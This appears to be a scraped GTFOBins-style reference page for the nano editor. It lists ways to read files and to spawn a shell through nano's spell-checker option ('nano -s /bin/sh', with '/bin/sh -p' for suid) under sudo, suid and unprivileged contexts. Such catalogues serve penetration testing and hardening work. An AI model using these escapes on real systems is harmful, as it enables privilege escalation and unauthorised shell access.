The file content is displayed in the terminal interface.
nano /path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-read
The file content is displayed in the terminal interface.
nano /path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-read
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
nano -s /bin/sh
/bin/sh
^T^T
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
nano -s '/bin/sh -p'
/bin/sh -p
^T^T
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- shell
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
nano -s /bin/sh
/bin/sh
^T^T
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- shell